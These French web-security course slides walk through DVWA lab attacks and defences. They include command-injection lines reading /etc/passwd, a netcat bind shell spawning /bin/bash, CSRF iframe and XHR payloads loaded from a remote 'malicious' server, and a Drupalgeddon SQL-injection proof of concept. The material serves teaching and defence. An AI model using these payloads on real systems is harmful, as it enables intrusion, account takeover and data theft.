* *Grep - Extract* -> *add*
![Intruder / token](images/authentication/dvwa-auth-high-define-grep-extract.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* *Payload set*: 2 (token anti CSRF) -> *Recursive grep*
* onglet *Settings*
* *Redirections* -> *always*
![Intruder / folow redirect](images/authentication/dvwa-auth-high-follow-redirect.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
* onglet *Resource pool*
* cocher *create new resource pool*
![Intruder / Ressource](images/authentication/dvwa-auth-high-ressources.png)<!-- .element style="width: 90%" -->
### <i class="fa-solid fa-bomb"></i> Brute force / high
![Intruder / Resolved](images/authentication/dvwa-auth-high-resolved.png)<!-- .element style="width: 90%" -->
### <i class="fas fa-cogs"></i> force brute offline
* Dépend de la puissance de calcul
* Non furtive
* Reproductible
### <i class="fas fa-cogs"></i> force brute offline
* [OPHCRACK (the time-memory-trade-off-cracker)](http://lasecwww.epfl.ch/~oechslin/projects/ophcrack/)
* monde windows
* fichiers SAM
* fonctionne avec des [dictionnaires](http://ophcrack.sourceforge.net/tables.php)
* <i class="fa fa-gift"></i> <a href="http://www.newbiecontest.org/index.php?page=epreuve&no=224">obtenir le pass d'un compte windows en moins de 10 minutes</a>
* [Password Cracking: Lesson 2](http://www.computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/)
### <i class="fas fa-cogs"></i> force brute offline
* [John the Ripper](http://www.openwall.com/john/)
* monde UNIX/BSD
* fichier /etc/passwd + /etc/shadow
* mangling rules: leet speak, custom ...
```shell
unshadow /etc/passwd /etc/shadow > mypasswd
```
* [Checking Password Complexity with John the Ripper](http://www.admin-magazine.com/Articles/John-the-Ripper)
### <i class="fas fa-cogs"></i> force brute rainbow table
* [CrackStation](https://crackstation.net/)
* avec la signature de smithy dans la table user
```shell
5f4dcc3b5aa765d61d8327deb882cf99
```
### <i class="fa fa-medkit"></i> Se protéger
* instaurer des règles de durcissement au moment du choix du mot de passe
* pas contournable côté client ;)
* mettre un nombre d'essais maximum consécutifs
* plugin anti brute force
* wordpress
* drupal
* compléter par des restrictions par IP, voir par blocs d'IPs
* sensibilisez vos utilisateurs
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
[http://dvwa.com/vulnerabilities/captcha](http://dvwa.com/vulnerabilities/captcha)
* Security level: low
* action configurée en 2 étapes
* Etape 1
* validation du captcha
* Etape 2
* exécution de l'action
* en modifiant le paramètre step à 2 on bypass le captcha
## <i class="fa fa-medkit"></i> [reCAPTCHA - Google](https://www.google.com/recaptcha/intro/index.html)
* Security level: medium
* action configurée en 3 étapes
* Etape 1
* validation du captcha
* Etape 2
* Confirmation de l'action
* Etape 3
* exécution de l'action
* en modifiant le paramètre step à 2 et en ajoutant Change=Change on bypass le captcha
## <i class="fa fa-medkit"></i> Se préserver
* Côté client
* [RequestPolicy](https://addons.mozilla.org/fr/firefox/addon/requestpolicy) protège mais peut empêcher certains sites de fonctionner
* [CsFire](https://addons.mozilla.org/fr/firefox/addon/csfire) protège un peu en enlevant toute information d'authentification pour les requêtes cross-site
* [NoScript](https://addons.mozilla.org/fr/firefox/addon/noscript) va prémunir des scripts en provenance de sites non sûrs
* [Self-Destructing Cookies](https://addons.mozilla.org/fr/firefox/addon/self-destructing-cookies) permet de réduire la fenêtre d'attaque en supprimant les cookies dès qu'ils ne sont plus associé à un onglet actif
# Command execution
## aka [command injection](https://www.owasp.org/index.php/Command_Injection)
### <i class="fas fa-cogs"></i> CMDi
* paramètres non filtrés
* la commande est écrite en dur
* exécution de commandes arbitraires sur le serveur
* exécutée avec les droits du serveur (thread)
* triviale mais assez rare
### <i class="fa-solid fa-bomb"></i> CMDi / low
* Unix
* Pipeline
* redirection la sortie standard: **|**
* redirection la sortie d'erreur: **|&**
* List
* séparateur de commande: **;**
* arrière plan: **&**
* et logique: **&&**
* ou logique: **||**
### <i class="fa-solid fa-bomb"></i> CMDi / low
```shell
localhost && ls
; whoami
localhost | id
```
* le réseau est également explorable
Note:
- dvwa à brutforcer
- non y a le cookie qui coince :/
- admin:password
- https://securenetworkmanagement.com/dvwa-and-hydra-login-dvwa-part-1/
- il faut injecter des commandes que le server connait
- win/unix/linux/bsd/solarix/aix
- pool de commandes par défaut
- l'enchainement d'exlpoits est laisser à l'imagination du pentester
- plus il est expérimenté plus il peut créer des attques complexes
- plus il peut aller loin dans l'exploitation
- Regarder le code
- Que peut on faire pour améliorer
- DVWA Security -> medium
### <i class="fa-solid fa-bomb"></i> CMDi / medium
les chaînes de caractères "&&" et ";" sont interdites
```shell
# Pour y voir plus clair
localhost | ls
# Plus intéressant
localhost | pwd & whoami & ps
localhost | uname -a & users & id & w
localhost | cat /etc/group
localhost | cat /etc/passwd
```
Note:
- approche liste noire toujours perdante
- liste de caractère à échapper
- résultat visible
- affiché dans la page
- méga rare
- aveugle
- certaines pas faciles à détecter
- adduser / mkdir lors de la création de compte
- un username se terminant par
- ;cmd
- ping réseau
- on sait si ca a marcher avec le temps d'exécution du ping
- si ca rame au chargement de la page
- c'est que le ping est en train de s'exécuter à l'infini
- sinon sniffer le ping de retour
- si pas bloqué
- ping -c3 127.0.0.1 pour mémoire
- résolution dns d'un domaine maitrisé connu de nous seul
- Regarder le code
- Que peut on faire pour amliorer
- DVWA Security -> high
### <i class="fa-solid fa-bomb"></i> CMDi / high
```shell
localhost|ls
```
Note:
-détailler l'expression régulière
### <i class="fa-solid fa-bomb"></i> CMDi / impossible
* l'approche est ici différente
* on ne cherche plus à éliminer les caractères dangereux
* on cherche à valider que l'entrée est bien une IP
```shell
$valid = preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\z/', $string);
```
Note:
-détailler l'expression régulière
### <i class="fas fa-cogs"></i> bind shell
* ex netcat
```shell
sudo apt install ncat
```
* injecter
```shell
1 | ncat -v -e '/bin/bash' -l -p 8080
```
* puis sur le terminal de l'attaquant
```shell
ncat -v dv.wa 8080
```
* \o/ accès distant à la machine
* avec les permissions de l'utilisateur www-data
Note:
- revenir en medium ou low security
- on peut le faire avec cookie manager +
- netcat couteau suisse réseau
- permet d'écrire sur un port
- soumis a pas mal de condition en vérité
- marche que dans un sens
- DMZ coupe tout le sortant
- reste possible dans ce sens
- mais faut passer d'eventuels friewalls
- et netcat peu avoir été supprimé
### <i class="fa fa-medkit"></i> Se préserver
* éviter les commandes [exec](http://php.net/manual/fr/function.exec.php), [shell_exec](http://php.net/manual/fr/function.shell-exec.php), [passtru](http://php.net/manual/fr/function.passthru.php) ou [system](http://php.net/manual/fr/function.system.php)
* utiliser shell_escape_args() en php
* utliser JSON.parse plutot qu'un eval() de JSON
* utiliser des lib spéacilisées
* [<i class="fab fa-github"></i> symfony/Filesystem](https://github.com/symfony/Filesystem)
* [<i class="fab fa-github"></i> symfony/Finder](https://github.com/symfony/Finder)
Note:
- faire marcher le bon sens
- Note le cron de drupal est pourri parce qu'appelable via des url
- utiliser le cron system
### <i class="fa fa-medkit"></i> Se préserver
* utiliser des listes blanches plutôt que des listes noires
* utiliser cron pour les traitements récurrents
* ne pas installer `netcat` ...
# CSP
## a.k.a. Content Security Policy
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
* En-tête renvoyée côté serveur
* protéger son contenu
* protéger ses utilisateurs
* possibilité de reporting
* quelles tentatives ont été menées
* https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
```http
Content-Security-Policy:
script-src 'self' https://apis.google.com;
frame-src 'none'
```
* informera le browser que
* seuls les scripts en provenance de la page elle même et de apis.google.com pourront être exécutés
* les balises iframes ne doivent pas être interprétées
### <i class="fa fa-medkit"></i> **CSP**: Content Security Policy
![CSP](images/xss/csp.png "CSP")<!-- .element style="text-align: center" -->
* [<i class="fa fa-newspaper-o"></i> Why is CSP Failing? Trends and Challenges in CSP Adoption](mweissbacher.com/publications/csp_raid.pdf)
Note:
- couvre le cas d'un XSS js dans une balise src
- couvre également le cas d'une iframe qui recouvre une page légitime
### <i class="fa-solid fa-bomb"></i> CSP / low
```http
Content-Security-Policy:
script-src 'self' https://pastebin.com hastebin.com
www.toptal.com example.com code.jquery.com
```
* écriture d'un fichier js sur l'hôte local via une autre faille [upload](upload.html) par exemple
### <i class="fa-solid fa-bomb"></i> CSP / low
* exécution directement sur [https://pastebin.com/raw/SAB3JTJc](https://pastebin.com/raw/SAB3JTJc)
* réponse pastebin
```http
...
X-Content-Type-Options: nosniff
...
```
### <i class="fa-solid fa-bomb"></i> CSP / low
* ne fonctionne pas depuis Firefox 72
* l'entête [X-Content-Type-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Content-Type-Options) force la désactivation du [MIME sniffing](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types#mime_sniffing)
* https://www.komodosec.com/post/mime-sniffing-xss
* https://medium.com/@puneet29/what-is-mime-sniffing-4f402d303dc8
# CSRF
## aka Cross-Site Request Forgery
### <i class="fas fa-cogs"></i> CSRF
* affecte toute ressource disponible directement
* sans étape intermédiaire
* avec authentification
* usurpation de session
* ou pas
* redirection arbitraire
### <i class="fas fa-cogs"></i> CSRF
![alt text](images/csrf/csrf.png "CSRF")
Note:
- rappel ici mail, mais aussi
- XSS
- lien déguisé
- url shortner
### <i class="fas fa-ice-cream"></i> CSRF / types
* urls / formulaires forgés relayés via [XSS](xss.html)
* redirections arbitraires relayés via [XSS](xss.html)
* social engineering
* initulé de lien malicieux
* url shortner
* phishing
* par mail
* par [XSS stored](xss.html)
### <i class="fa-solid fa-bomb"></i> CSRF / payload
* le but est de rediriger un utilisateur vers une url
* à l'insu de son plein gré
* exécuter des opérations avec les permissions d'un autre utilisateur
* envoyer du spam (de commentaire)
Note:
- l'action avec privilège
- urls connues (CMS, ...)
- on espère que l'utilisateur est logué
- spam de commentaire
- urls connues (CMS, ...)
### <i class="fa-solid fa-bomb"></i> CSRF / low
```
New password: pipo
Confirm new password: pipo
```
<small><i class="fa-solid fa-circle-check"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
* via GET en injectant
```http
<iframe
src="javascript:window.location='http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#';"
height="0" width="0" style="border:0;">
</iframe>
```
* possible via POST avec en scriptant
```http
<form action="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" method="post" id="formid"
onload="document.getElementById('formid').submit();">
<input type="hidden" name="password_new" value="1337"/>
<input type="hidden" name="password_conf" value="1337"/>
</form>
```
Note:
- analyser la requête de changement de mot de passe avec burp
- forger une url
- forger un form
- injecter via XSS stored par exemple
- problème de l'action silencieuse et aveugle
- on ne sait pas sur qui ca marche
- si on a une liste des utilisateurs du site le brute force est un option
### <i class="fa-solid fa-bomb"></i> CSRF / medium
<small><i class="fa-solid fa-circle-xmark"></i> [/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#)</small>
```
That request didn't look correct.
```
<small>comparaison requête forgée VS légitime <i class="fa-solid fa-right-long"></i> filtrage par referer</small>
```
if( stripos( $_SERVER[ 'HTTP_REFERER' ],
$_SERVER[ 'SERVER_NAME' ]) !== false ) {
```
<i class="fa-solid fa-circle-check"></i> ajouter un header via **burpsuite**
```
Referer: http://dv.wa/
```
<i class="fa-solid fa-circle-check"></i> passer par [XSS (stored) / low](http://dv.wa/vulnerabilities/xss_s)
```
Name: CSFR
Message: <img src="http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change#" />
```
### <i class="fa-solid fa-bomb"></i> CSRF / high
* **session token** dans un nouveau champs caché du formulaire
```
<input
type="hidden"
name="user_token"
value="840473d541a2e5e4b28e39cc31762f9d">
```
* le **session token** peut aussi se trouver dans l'url
* éventuellement salaison propre à l'utilisateur
* IP, user-agent
* ajout d'entropie
### <i class="fas fa-medkit"></i> CSRF / high / session token
![alt text](images/csrf/csrf-stp.png "CSRF")
### <i class="fa-solid fa-bomb"></i> CSRF / high
<small><i class="fa-solid fa-circle-xmark"></i>[/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#](http://dv.wa/vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&user_token=840473d541a2e5e4b28e39cc31762f9d&Change=Change#)</small>
<i class="fa-solid fa-lightbulb"></i> procéder en 2 temps
1. récupérer la valeur du session token
2. jouer la requête CSRF avec le session token
Possible via une [XSS](XSS.html) (mais cassé)
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload js
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js](https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js)</small>
```
function getToken() {
var token='&user_token='
+ document
.getElementById("get_token")
.contentDocument
.getElementsByName("user_token")[0]
.value;
var link = "http://dv.wa/"
+ "vulnerabilities/csrf/?password_new=pipo&password_conf=pipo&Change=Change"
+ token;
document.getElementById("play_CSRF").src=link;
}
```
<i class="fa-solid fa-triangle-exclamation"></i> Ne marchera que sur dv.wa
### <i class="fa-solid fa-bomb"></i> CSRF / high / payload XSS
<i class="fa-solid fa-lightbulb"></i> cacher les iframes
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/getToken.js"></script>
Mine de rien
<iframe
id="get_token"
src="http://dv.wa/vulnerabilities/csrf/"
onload="getToken()" style="display:none"></iframe>
<iframe id="play_CSRF" style="display:none"></iframe>
```
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html)
<i class="fa-solid fa-triangle-exclamation"></i> A jouer dans [XSS / high](XSS.html)
### <i class="fa-solid fa-bomb"></i> CSRF / high / xhr / payload
* <small>hébergé sur un serveur malicieux [https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js](https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js)</small>
```
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://dv.wa/vulnerabilities/csrf/', true);
xhr.withCredentials = true;
xhr.responseType = "document";
xhr.onload = function () {
var token = xhr.response.getElementsByName('user_token')[0].value;
};
xhr.send();
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://dv.wa/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change&user_token=' + token, true);
xhr2.send();
```
```
<script src="https://perso.limos.fr/mazenod/slides/1337/exploits/xhr.js
```
<i class="fa-solid fa-triangle-exclamation"></i> A injecter dans [XSS / low](XSS.html) & jouer dans [XSS / high](XSS.html)
### <i class="fa fa-medkit"></i> CSRF / Se préserver
* **Fausses Bonnes Idées**
* utiliser la méthode POST
* vérifier le referer (ou n'importe quelle autre en-tête)
* Session token
* Double Submit Pattern
### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
* adapté à une utilisation massive de JS
* basé sur la [Same Origin Policy](https://en.wikipedia.org/wiki/Same-origin_policy)
* A l'authentification le serveur envoie un cookie contenant un jeton aléatoire valable pendant toute la session de l'utilisateur
```js
Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
expires=Thu, 23-Jul-2015 10:25:33 GMT;
Max-Age=31449600;
Path=/
```
### <i class="fa fa-medkit"></i> CSRF / Cookie-To-Header Token
* JavaScript lit le jeton et le renvoie dans un header HTTP spécifique à chaque requête
```js
X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
```
* Le serveur vérifie la validité du token
* [Cookie-To-Header Token](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Cookie-to-Header_Token)
\ No newline at end of file
# détecter
# <i class="fa fa-puzzle-piece" aria-hidden="true"></i>
### On cherche des points d'entrée **sur** ou **vers** la cible
!["scanning"](images/detecting/mapping.png "scanning")<!-- .element width="80%" -->
## Architecture
* **Virtual hosting** / **hébergement mututalisé**
* éventuellement connu en phase de reconnaissance
* via les DNS
* via les moteurs de recherche (bing)
* se connecter au serveur par défaut
## Architecture
* **Reverse proxy**
* un proxy type [nginx](https://www.nginx.com/) cache le serveur a qui il renvoie le traffic
* il est parfois possible d'atteindre le serveur directement
## Architecture
* **Load Balancing**
* les injections peuvent avoir des résultats obfusqués
* on peut tenter de forcer pour cibler un serveur de sortie
* l'en tête http Date peut révéler des serveurs non synchronisés
Note:
- virtual hosting accessible par la racine (cf exo)
- load balancing des paramètres peuvent se trouver dans
- la query string
- les cookies
#### (Server / service) (profiling / fingerprint)
* Ports ouvert
* Bannières
* Version de l'OS
* Version de services
* TLS / SSL
* en-tête http
<pre><code>Server: Apache</code></pre>
#### (Server / service) (profiling / fingerprint)
* Pages par défaut
* Pages d'erreurs
* On peut avoir des versions vulnérables mais patchées
* cas de la version de PHP par défaut
* liée à la version de Debian
Note:
- comme on a l'archi ca vaut le coup de regarder sur tous les serveurs connus
- les numéros de versions facilitent la recherhce de vulnérabilité / exploit
- openssl 1.0.1 = Heartbleed
- Drupal 7.x drupalgeddon
- page par défaut apache (it works) silencieuse
- pas forcément le cas d'IIS
- les 404 par défaut d'apache donne la version d'apache
## [nmap](https://nmap.org/)
<pre><code>nmap 172.16.76.0/24</code></pre>
#### Recherche des hôtes et des services
* -O pour la signature de l'OS
* envoie des paquets malformés pour déterminer
* la malformation des paquets réseaux bas niveau nécessite les droits de root
<!--## [nmap](https://nmap.org/)
* -sV détection de la version des services
* teste le service attendu
* teste d'autres options si ça rate
* à base d'envoi de paquets
* nudge packets - malformés
* -p spécifie le port / le range de port
* -p- TOUS les ports
-->
<!--
## [nmap](https://nmap.org/)
* -sC passe les scripts non intrusifs
* par défaut tous le scan des wellkown ports 1024
* scriptable --script=script-name
* &ast;.nse écrit en lua (à vérifier)
* /usr/share/nmap/scripts/http-robots.txt.nse
* pour samba, quake, vns, sip, ... plein
* possibilité d'export formaté des résultats
* réutilisable en entrée de certains outils
Note:
- [nmap service probes](https://nmap.org/book/vscan-fileformat.html)
- détection de services custom
- autre scanners
- [openvas](http://www.openvas.org/)
- [nessus](http://www.tenable.com/products/nessus-vulnerability-scanner)
- [w3af](http://w3af.org/)
- [ZAP](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) en scanner de vulnaérbilité
-->
## Analyse de code / client side
* Signatures de CMS
* noms et valeurs d'attributs HTML
* champs de formulaire
* nom de class css
* Tous les commentaires
* notes de développeur
* documentation de fonctions
* vieux codes commentés (liens cachés ou oubliés)
<pre><code data-stream class="hljs php">// $pass = MD5($mdp + $birthdate)</code></pre>
<!-- a href="http://pastebin.com/mNdmD5L2">voir aussi luckypada1</a -->
Note:
- libs framework compliqué à détecter
- symfony 1.0 environnement par exemple
- dev.php
- page de configuration
- assez bien fait maintenant
- facile pour js
- récupérer par Nikto
## urls de l'appli
* [drupal](https://www.drupal.fr/)
* /?q=node/234
* /user
* [WordPress](https://fr.wordpress.com/)
* /?p=25
* /wp-admin
* [spip](https://www.spip.net)
* /spip.php?article765
* /ecrire
* url rewriting ([mod_rewrite](https://httpd.apache.org/docs/current/fr/mod/mod_rewrite.html))
## path systèmes de l'appli
* messages d'erreurs
* [MySQL](https://dev.mysql.com/doc/refman/5.7/en/error-log.html) / [php](http://php.net/manual/fr/function.error-reporting.php)
* [phpinfo](http://php.net/manual/fr/function.phpinfo.php)
* également version OS, PHP, lib
* facilitent
* [injection de commande](command_execution.html)
* inclusion ([RFI/LFI](lfi_rfi.html))
## Automatic detection
* [Wappalyzer](http://wappalyzer.com)
* [BlindElephant Web Application Fingerprinter](http://blindelephant.sourceforge.net/)
* [Supporter par Qualys](http://www.qualys.com/blindelephant)
* <i class="fab fa-github"></i> [Dionach/CMSmap](https://github.com/Dionach/CMSmap)
* [CMS explorer](https://hackertarget.com/cms-explorer/)
* spécialisés
* [WPScan](http://wpscan.org/)
* inclus les plugins vulnérables
## Spidering
* Arborescence
* cartographie
* des ressources
* des fonctionnalités
* pages dynamiques
* risque de boucle infini
* profondeur (scope)
## Spidering
* Répertoires "cachés"
* directory browsing
* 403
* le répertoire existe
* Per-user web directories (public_html)
* parties inutilisées mais toujours active
* `/old`
## Spidering
* Fichiers "cachés" (non directement liés)
* aides en ligne
* manuels de configuration, connexion
* page d'admin (back office, phpMyAdmin, ...)
## Spidering
* Affichage de configuration en clair
* extensions de fichiers renvoyés en clair
* `.txt, .yml, .xml, ...`
* mauvaise configuration de l'interpréteur PHP
* les fichiers php sont renvoyés en texte
* fichiers de sauvegardes oubliés
* `/save/backup.zip`
## Spidering
* `robots.txt`
* directive d'indexation par user agent
* Disallow: dossier, pages non indexées
* valable pour les crawlers sympas et polis
<pre><code data-stream class="hljs bash">wget -r -e robots=off -l 0 http://targ.et</code></pre>
<pre><code data-stream class="hljs bash">nmap --script=http-robots.txt www.lemonde.fr</code></pre>
#### spidering VS guessing
Note:
- arbo non exportable
- sitemap.xml
- zap pas très bon pour suivre les urls
- javascripts burp est meilleur
- burp / zap en mode proxy empile les urls visitées
- pas frocément devinable par le programme
- gère les urls qui peuvent entraver le spidering (/logout)
- balise META permettant le même type de chose quie le robots.txt
- sur le cache ou l'indexation
- pas discret
- httracks
- là où il y a login / pass
- comptes par défaut
- mot de passe triviaux
- brute force
## [Nikto](https://cirt.net/Nikto2)
* Recherche de point d'entrées classiques
* grosse bases de données
* teste les points d'entrée des CMS classiques
* phpinfo.php
* server-satuts
* conf apache
* fingerprints de l'OS
* robots.txt
* User-agent personnalisable
<pre><code data-stream class="hljs bash" style="font-size: 25px">nikto --host go.od -Format htm --output /tmp/go.od.html</code></pre>
Note:
- trouve le phpmyadmin
## [<i class="fab fa-github"></i> patator](https://github.com/lanjelot/patator)
* [Produit HSC](http://www.hsc.fr/ressources/outils/patator/download/README)
* Brute force en tout genre
* Fuzzing http
* on peut tester tous les paths de FILE
* avec tous les rep de FILE0
* tous les noms de fichiers de FILE1
* toutes les extensions de fichiers FILE2
<pre><code data-stream class="hljs bash" style="font-size: 14px">patator.py http_fuzz url=http://client/FILE0/FILE1FILE2 0=paths.txt 1=files.txt 2=exts.txt --ignore=404</code></pre>
<small>[<i class="fa fa-film"></i> Patator -- Brute-Force Attack And Dns Reverse And Forward Lookup](http://www.securitytube.net/video/7060)</small>
Note:
- utilisation dans burp possible aussi
## Fuzzing
* Fuzzing
* n'importe quoi
* valeurs incorrectes
* non ascii
* binaire
* random ou pseudo random
* valeurs malines
* fermeture de caractère
## Fuzzing
* On cherche
* des requêtes avec des tailles différentes
* messages d'erreur
* paramètres HTTP repris dans la page
* des codes http inattendus
* tout ce qui se différencie du cas normal
#### [<i class="fab fa-github"></i> fuzzdb](https://github.com/fuzzdb-project/fuzzdb) dictionnaire de fuzzing
Note:
- mode comparaison de burb
- fuzzdb réinjectable dans burp intruder
- spidering VS guessing
## <i class="fa fa-medkit"></i> Se protéger
* Bien configurer son serveur
* [Apache Tips & Tricks: Disable Directory Indexes](http://www.ducea.com/2006/06/26/apache-tips-tricks-disable-directory-indexes/)
* [Per-user web directories](https://httpd.apache.org/docs/2.2/howto/public_html.html)
* [<strike>mod_status</strike>](http://httpd.apache.org/docs/2.2/mod/mod_status.html)
## <i class="fa fa-medkit"></i> Se protéger
* Limiter / faker / filtrer les bannières / headers
* [Changing Apache Server Name To Whatever You Want With mod_security On Debian 6](https://www.howtoforge.com/changing-apache-server-name-to-whatever-you-want-with-mod_security-on-debian-6)
* [Apache Tips & Tricks: Hide PHP Version (X-Powered-By)](http://www.ducea.com/2006/06/16/apache-tips-tricks-hide-php-version-x-powered-by/)
* [A practical approach for defeating Nmap OS-Fingerprinting](https://nmap.org/misc/defeat-nmap-osdetect.html)
* les autres services
## <i class="fa fa-medkit"></i> Se protéger
* Eviter les messages d'erreurs trop bavard en prod
* `php.ini`
* [display_errors](http://php.net/manual/fr/errorfunc.configuration.php#ini.display-errors) à Off
* fait taire mysql
* le @ peut "muter" une fontcion
* [directive log_errors](http://php.net/manual/fr/errorfunc.configuration.php#ini.log-errors) à On
* [mysql.trace_mode](http://php.net/manual/fr/mysql.configuration.php#ini.mysql.trace-mode) à Off
* [error_reporting = 0](http://php.net/manual/fr/function.error-reporting.php#example-504)
## <i class="fa fa-medkit"></i> Se protéger
* Utiliser un système de déploiement automatisé
* utilisation d'un CVS
* utilisation des environnements de dev / test / prod
* Privilégier les commentaires côté serveur
* éliminer les commentaires HTML / CSS / JS au déploiement
## <i class="fa fa-medkit"></i> Se protéger
* Proscrire les services "en clair"
* ftp
* pop3
* imap
* rlogin
* telnet ...
## <i class="fa fa-medkit"></i> Se protéger
* Mettre à jour régulièrement
* OS
* services
* librairies
* CMS
## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
## système vulnérable
* Wheezy [Debian 7.0.0 – amd64 – netinst](http://www.debiantutorials.com/download-debian-iso/)
* paramèter le réseau [DYI - My Security Lab](http://mazenovi.github.com)
* le couper juste après la conf du DHCP à l'install
* à l'installation
* surtout pas d'upgrade pour garder un kernel vulnérable
**Nous disposons d'une machine vulnérable à un**
**[Local root exploit](http://www.tux-planet.fr/local-root-exploit-pour-les-noyaux-linux-2-6-37-a-3-8-10/)**
## Drupal vulnérable
* [drupal 7.X](https://www.drupal.org/drupal-7.31-release-notes) < 7.32 déployé, configuré selon la [doc](https://www.drupal.org/node/394704)
```shell
$ HTTPDUSER=`ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\ -f1`
$ chown -R $HTTPDUSER sites/default/files
$ chmod -R 0700 sites/default/files
```
* les images [ova sont là](https://gitlab.com/mazenovi/webSec)
## Trouver un système vulnérable sur le www
[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
## Trouver un système vulnérable sur le www
* ne filtrer que les drupal vulnérables
* [<i class="fab fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)
```http
$ python cmsmap.py -t http://drup.al
...
[H] Drupal Vulnerable to SA-CORE-2014-005
...
```
## La faille
* [Drupalgeddon - SA-CORE-2014-005 - Drupal core - SQL injection](https://www.drupal.org/SA-CORE-2014-005)
* Version: 7.x < 7.32
* Date: 2014-October-15
* Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
$new_keys[$key . '_' . $i] = $value
}
}
```
* $i est un index de tableau de variables HTTP
* les valeurs des clés de $new_keys sont utilisées comme paramètres d'une requête SQL plus loin
* il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
## La faille
[includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
```php
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
/* patched version begin */
foreach (array_values($data) as $i => $value) {
/* patched version end */
$new_keys[$key . '_' . $i] = $value
}
}
```
* [array_values()](http://php.net/manual/fr/function.array-values.php) retourne les valeurs du tableau array et l'indexe de facon numérique
Note:
- combien de dev PHP?
- combien utilisent array_values()
- forcer le type des paramètres est une bonne option
- debugging et dump variable à creuser
- code drupal compliqué ou mal fait
## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
* 3 nov. 2014 : release de deux exploits publiques
## Timeline côté attaquant
* 16 sept. 2014 : notification à Drupal
* 15 oct. 2014 : publication du correctif
* 15 oct. 2014, 4h après : exploitations en cours…
* 16 oct. 2014 : de très nombreux Drupal compromis…
## Exploitation manuelle
remplacer
```html
<input id="edit-name" name="name" type="text">
```
par
```html
<input name="name[0; DELETE FROM flood;;# ]" type="text" value="test3" />
<input name="name[0]" type="text" value="test" />
```
![Down the rabbit hole](images/drupalgeddon/down_the_rabbit_hole.jpg "Down the rabbit hole")<!-- .element class="fragment roll-in" -->
Note:
- mettre un mot de passe
## PoC
[<i class="fab fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
```php
$url = $argv[1];
$sql = $argv[2];
$sql = str_replace('{', '\' , CHAR(123), \'', $sql);
$sql = str_replace('}', '\' , CHAR(125), \'', $sql);
$sql = str_replace('[', '\' , CHAR(91), \'', $sql);
$sql = str_replace(']', '\' , CHAR(93), \'', $sql);
$sql = urlencode($sql);
//Send a request to the user login form
$post_data = "name[0%20;".$sql.";;#%20%20]=test3&name[0]=test&pass=test";
$post_data .= "&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
```
```shell
$ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
```
